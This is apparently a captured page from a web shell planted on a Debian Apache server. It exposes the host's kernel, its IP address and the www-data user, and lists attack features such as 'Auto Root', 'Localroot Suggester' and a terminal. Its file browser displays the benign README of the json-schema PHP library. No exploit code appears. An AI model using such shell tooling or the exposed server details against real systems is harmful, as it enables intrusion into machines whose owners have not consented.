Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
php-json-schema /
Delete
Unzip
Name
Size
Permission
Date
Action
README.md
1.74
KB
-rw-r--r--
2016-01-25 16:43
changelog.Debian.gz
741
B
-rw-r--r--
2016-03-09 20:58
changelog.gz
1.93
KB
-rw-r--r--
2016-03-09 20:55
copyright
1.81
KB
-rw-r--r--
2016-03-09 20:55
Save
Rename
# JSON Schema for PHP [](https://travis-ci.org/justinrainbow/json-schema) [](https://packagist.org/packages/justinrainbow/json-schema) [](https://packagist.org/packages/justinrainbow/json-schema) A PHP Implementation for validating `JSON` Structures against a given `Schema`. See [json-schema](http://json-schema.org/) for more details. ## Installation ### Library $ git clone https://github.com/justinrainbow/json-schema.git ### Dependencies #### [`Composer`](https://github.com/composer/composer) (*will use the Composer ClassLoader*) $ wget http://getcomposer.org/composer.phar $ php composer.phar require justinrainbow/json-schema:~1.3 ## Usage ```php <?php // Get the schema and data as objects $retriever = new JsonSchema\Uri\UriRetriever; $schema = $retriever->retrieve('file://' . realpath('schema.json')); $data = json_decode(file_get_contents('data.json')); // If you use $ref or if you are unsure, resolve those references here // This modifies the $schema object $refResolver = new JsonSchema\RefResolver($retriever); $refResolver->resolve($schema, 'file://' . __DIR__); // Validate $validator = new JsonSchema\Validator(); $validator->check($data, $schema); if ($validator->isValid()) { echo "The supplied JSON validates against the schema.\n"; } else { echo "JSON does not validate. Violations:\n"; foreach ($validator->getErrors() as $error) { echo sprintf("[%s] %s\n", $error['property'], $error['message']); } } ``` ## Running the tests $ vendor/bin/phpunit